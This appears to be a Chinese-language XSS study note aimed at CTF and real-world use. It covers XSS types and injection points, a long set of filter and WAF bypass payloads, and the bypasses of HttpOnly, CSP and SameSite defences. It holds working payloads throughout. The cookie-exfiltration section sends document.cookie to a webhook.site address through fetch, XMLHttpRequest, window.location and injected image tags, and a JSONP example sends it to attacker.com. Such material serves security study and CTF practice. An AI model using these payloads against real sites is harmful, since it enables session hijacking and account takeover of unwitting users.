XSS漏洞

XSS是基于前端的一种攻击,其实就是非Web应用自身的JS代码被黑客恶意插入,通过执行恶意的JS代码,可以导致窃取敏感信息、篡改网页内容或劫持用户会话,大部分情况是窃取Cookie,在你登录账号后的情况下,部分Web应用通过Cookie可以导致黑客能直接登录你的账号

XSS的分类

存储型XSS

持久化,代码存储在后端(数据库、日志文件、评论等)中,容易造成蠕虫,盗窃cookie

数据流通:将恶意代码通过交互界面上传到后端,然后从而上传到数据库中(实现自动化攻击),当管理员admin查询数据库的信息时,恶意脚本又从后端到了前端

在CTF中,利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本

反射型XSS

非持久化,需欺骗用户去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般出现在搜索页面,大多数用来盗取Cookie

数据流通:我们在一个输入框(一般是<input>标签形成)里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示

在CTF中,题目会给一个输入框,然后绕过过滤,执行恶意脚本

DOM型XSS

只发生在前端,利用 JavaScript 在浏览器端操作 DOM 时,动态插入和执行恶意代码,是通过url传入参数去控制触发的(也属于反射型XSS)

数据流通:在前端url添加我们的恶意脚本,然后直接在页面输出

JSONP型XSS

在浏览器的同源策略下,前端 JavaScript 不能直接跨域请求 AJAX(一种无需刷新页面就能向服务器发送和接收数据的技术),但可以利用 <script> 标签(允许跨域加载特性)进行跨域请求(允许从一个域名中获取到另一个域名的数据)

后端返回的是带回调函数的 JSON 数据,前端利用回调函数(callback)解析数据

攻击者可以伪造回调函数,利用 JSONP 执行任意 JavaScript 代码

1
<script src="https://example.com/user?callback=alert"></script>

如果服务器不做安全限制,返回的数据是:

1
alert({"name": "Alice", "age": 25});

这时 alert() 直接执行,可能导致 XSS 攻击,也可以窃取受害者的 Cookie:

1
2
3
4
5
6
<script src="https://example.com/user?callback=evilFunction"></script>
<script>
function evilFunction(data) {
document.write("<img src='http://attacker.com/steal?cookie=" + document.cookie + "'>");
}
</script>

XSS的攻击对象(XSS最终插入到哪里)

插入到HTML注释内容中

利用闭合的方式从而插入HTML注释内容之中

[!CAUTION]

可能利用某些解析漏洞,导致代码执行

绕过 WAF(安全防火墙)检测,隐藏 XSS 代码(如果后端在某些情况下错误地解析了注释(比如动态拼接 HTML),注释中的 XSS 可能会被执行)

诱导用户手动执行 XSS(社工攻击)

前端错误解析 HTML 注释,导致 XSS 触发(如innerHTML没有正确处理注释,导致 <script> 被执行)

配合 DOM XSS,影响前端页面(如 innerHTML 解析了注释,导致 <img> 执行 onerror XSS)

插入到HTML标签的属性值中

通常配合onerror使用

[!IMPORTANT]

onerror(XSS利用点)

一个事件处理程序,当资源(如图片、脚本、iframe)加载失败时触发

利用 <img> 标签
1
<img src= "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-src="x" onerror="alert('XSS!')">
利用 <script> 标签
1
<script onerror="alert('XSS')">bad</script>
利用 iframe
1
<iframe src="invalid.html" onerror="alert('XSS')"></iframe>
onerror 结合 javascript: 伪协议
1
<img src="javascript:alert('XSS')">

插入到HTML标签的属性名中

如果服务器端没有正确转义 name,而是直接在 HTML 中插入:

1
<p>欢迎, <input type="text" name="{{ user_input }}">!</p>

攻击者输入:

1
"><script>alert('XSS')</script>

浏览器解析后,HTML 变成:

1
2
3
<p>欢迎, <input type="text" name="">
<script>alert('XSS')</script>">
</p>

插入到HTML标签名中

1
2
3
4
5
<div id="content"></div>
<script>
let userInput = prompt("请输入标签名:");
document.getElementById("content").innerHTML = `<img ${userInput}>`;
</script>

攻击者输入:

1
src=x onerror="</img><script>alert('XSS')</script>"

解析后的HTML:

1
2
<img src=x onerror="">
<script>alert('XSS')</script>

原因:<img>是自闭合标签,不会有 </img> 这样的闭合标签,当解析器看到 "</img>,它会忽略这个 </img> 并直接闭合 <img>

最简单的插入到script,img,svg标签中

1
<script>alert('xss')</script>

插入到CSS中(旧版浏览器)

1
<div style="background-image:url('javascript:alert(`xss`)');">

当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码

插入到HTTP响应中

这就要牵扯到CRLF漏洞

利用CRLF漏洞将http包分为了header和body,利用回车符/换行符成功执行了body中的代码,实现XSS

1
?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)>

返回包变成:

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK

Date:xxxxxxxxxx

Content-type:text/html

Contet-Length:xxx

Connection:close

Location:

<img src=1 onerror=alert(/xss/)>

如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection:0(旧版服务器),可绕过浏览器的过滤规则实现XSS弹窗显示(主要为反射型XSS)

XSS的绕过

关键词绕过

大小写绕过

1
<sCriPt>alert(1)<sCriPt>

拼接绕过

evaltopwindowselfparentframes

1
<img src="x" onerror="eval['al'+'ert'](1)">

函数替换绕过

eval()
1
<img src="x" onerror="eval(alert(1))">
open()
1
<img src="x" onerror="open(alert(1))">
document.write()
1
<img src="x" onerror="document.write(alert(1))">
setTimeout()setInterval()

JavaScript 中用于延时执行代码的函数

1
2
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
利用构造器

通过构造器动态生成并执行 JavaScript 代码

Set.constructorMap.constructorArray.constructorWeakSet.constructorconstructor.constructor

1
<img src="x" onerror="Set.constructor(alert(1))">
利用数组方法

[1].map[1].find[1].every[1].filter[1].forEach[1].findIndex

1
<img src="x" onerror="[1].map(alert(1))">

嵌套绕过

1
<sc<script>ript>alert('XSS')</sc</script>ript>

使用 sc<script>ript<script> 被分成两部分:script,这样 XSS 过滤器可能不会识别整个标签,从而不会阻止该代码的执行

赋值绕过

1
2
3
4
5
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

[!IMPORTANT]

map()方法

用于对数组中的每个元素执行提供的回调函数,并返回一个新的数组,新的数组包含回调函数的返回值

1
array.map(callback(currentValue, index, array))

参数

  • callback:对每个数组元素执行的函数
  • currentValue:当前处理的元素
  • index(可选):当前处理的元素的索引
  • array(可选):调用 map() 方法的数组

最后一个payload解释:

['ale'+'rt'] 是一个包含字符串 'alert' 的数组

map(top['ev'+'al']) 使用 map() 方法对该数组进行操作,最终将 alert 函数赋值给数组的第一个元素

[0] 取出数组的第一个元素,即 alert 函数

valueOf() 获取该函数的原始值(即 alert 函数本身)

最后,调用 alert(1) 执行 JavaScript 代码

编码绕过

URL 编码

<被编码为%3C>被编码为%3E&被编码为%26/被编码为%2F

1
<img src="x" onerror="alert('%3Cscript%3Ealert(1)%3C%2Fscript%3E')">

HTML 实体编码

是将某些特殊字符转换成以 & 开头、; 结尾的实体格式

<被编码为&lt;>被编码为&gt;&被编码为&amp;/被编码为&#47;被编码为&quot;被编码为&apos; 被编码为&nbsp;=被编码为&#61;

1
<img src="x" onerror="alert('&lt;script&gt;alert(1)&lt;/script&gt;')">

Base64 编码

1
<img src="x" onerror="eval(atob('YWxlcnQoMSk='))">

alert(1)编码为atob('YWxlcnQoMSk=')

双重编码

例如,先对 < 编码为 %3C,再将%3C编码为 %253C

1
<img src="x" onerror="alert('%253Cscript%253Ealert(1)%253C%252Fscript%253E')">

Unicode 编码

Unicode 编码使用十六进制值表示字符,它可以用于替代常见的 ASCII 字符

1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">

97,108,101,114,116,40,49,41alert(1) 每个字符的 Unicode 编码值

十六进制编码

1
<img src="x" onerror="eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))">

空格绕过

在html的标签中的不同位置的空格绕过方式不是一样的

1
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置: /,/123/,%09,%0A,%0C,%0D,%20

B位置:%09,%0A,%0C,%0D,%20

C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)

D位置:%09,%0A,%0C,%0D,%20,//,>

()绕过

使用反引号

1
<script>alert`1`</script>

throw绕过

1
<script>alert;throw 1</script>
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

onload:当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码

window.onerror = eval;window.onerror 是一个全局的错误处理函数,当 JavaScript 执行时发生错误,它会被调用。通过将其设置为 eval,攻击者可以劫持错误处理并执行恶意的 JavaScript 代码

throw '=alert\x281\x29';:这行代码通过 throw 抛出一个异常alert(1)

单引号过滤

使用反引号

用斜杠替换

1
<script>alert(/hack/)</script>

alert过滤绕过

函数替换绕过

prompt()confirm()console.log()document.write()

编码绕过

对象方法绕过

利用对象的属性或方法来替代直接调用 alert

1
<img src="x" onerror="window.constructor.constructor('alert(1)')()">

数组方法绕过

异步调用绕过

1
<img src="x" onerror="setTimeout('alert(1)', 0)">

字符替换绕过

分割关键字绕过

通过在关键字中插入空格或注释符号( /**/)来分隔函数名

a/**/l/**/ert(1)

长度限制绕过

用拆分法

1
2
3
4
5
<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>hack</a>")'</script>
<script>eval(a)</script>

用嵌套结构

1
<img src="x" onerror="document.write('<img src=1 onerror=alert(1)>')">

分号绕过

当只过滤了分号时,可以利用花括号进行语句隔离

1
<script>{onerror=alert}throw 1</script>

当浏览器遇到 throw 1 时,它会抛出一个错误

抛出错误时,onerror 事件会被触发,因为我们之前将 onerror 设置为了 alert 函数

结果是,浏览器会弹出一个对话框,显示 1,这就是 alert(1) 的效果

绕过CSP(未完)

绕过WAF(未完)

cookie外带

XSS靶场中通常以前端检测网页是否弹窗来判断有没有被XSS,但比赛/实战中,通常以XSS真实场景,需要外带出Cookie

获取cookie(待定)

带出cookie(通常对+进行编码%2B)

fetch()方法

fetch() 允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include',则可以携带当前站点的 Cookie

1
fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie)

XMLHttpRequest 对象

1
<script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script>

window.location 对象

window.location 可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如

1
<script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script>

下面是window.location 对象中可用于跳转的方法

window.location.href
1
window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie;
window.location.assign(url)
1
window.location.assign("//webhook.site/xxxxxxxx/?cookie="+document.cookie);
window.location.replace(url)
1
window.location.replace("//webhook.site/xxxxxxxx/?cookie="+document.cookie);

window.open方法

window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象

例如,以下代码将会在新窗口或新标签页中打开指定 URL:

1
window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie);

document.write方法

利用 document.write 写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口

1
<script>document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`)</script>
1
<script>document.write('<img src="//webhook.site/xxxxxxxx/?cookie='+document.cookie+'"/>')</script>

XSS的防范

设置 Cookie 为 HttpOnly,这样,JavaScript 无法 通过 document.cookie 访问该 Cookie,只能通过HTTP请求发送给服务器

绕过

绕过方式 说明
CSRF (跨站请求伪造) HttpOnly 不能防止跨站请求伪造攻击(CSRF),攻击者仍可在受害者的浏览器中发起请求,利用受害者的 Cookie 进行操作
XS-Leaks(跨站信息泄露) 通过 imgiframefetch() 发送请求,并观察返回数据是否有差异,可能间接推测出 Cookie 值
服务器端获取 Cookie 通过 XSS 劫持会话,让受害者访问恶意页面,然后读取本地存储的 Token触发服务器端请求 来利用 Cookie

输入验证和转义

输入验证:限制输入字符,只允许安全字符(如 a-zA-Z0-9

HTML转义:实体编码

防止恶意脚本被注入到网页中

绕过

绕过方式 说明
双重编码绕过 有些 WAF 只转义了一次,可以尝试 <script>alert(1)</script> 让服务器误解
事件属性绕过 如果 <script> 被拦截,可以尝试 <img src=x onerror=alert(1)>
DOM XSS 如果后端转义了,但前端用 innerHTML 渲染数据,仍然可以执行 XSS 代码
JSON 解析漏洞 JSON 可能会反序列化恶意代码,例如 {"data": "<script>alert(1)</script>"}

使用 CSP(内容安全策略)

限制页面中允许执行的脚本来源,防止外部 XSS 代码注入

绕过

绕过方式 说明
JSONP 绕过 某些 API 允许 JSONP 请求,仍可执行外部代码
内联事件监听 onclick="alert(1)" 可能仍然有效
数据 URI 绕过 某些 data: 方案仍然可以执行代码
动态 JavaScript 执行 eval(), setTimeout(), Function() 可能仍然可以执行恶意代码

限制 Cookie 的跨站点发送行为

绕过

绕过方式 说明
CORS 配合 XSS 绕过 如果 Access-Control-Allow-Origin: *,可以用 fetch() 请求获取敏感数据
站内跳转绕过 SameSite=Lax 允许 GET 请求,所以可以诱导用户点击链接

参考文章:

对于XSS跨站脚本攻击的学习-先知社区

前端安全之 CSP 及其常见绕过

BUUCTF上的XSS靶场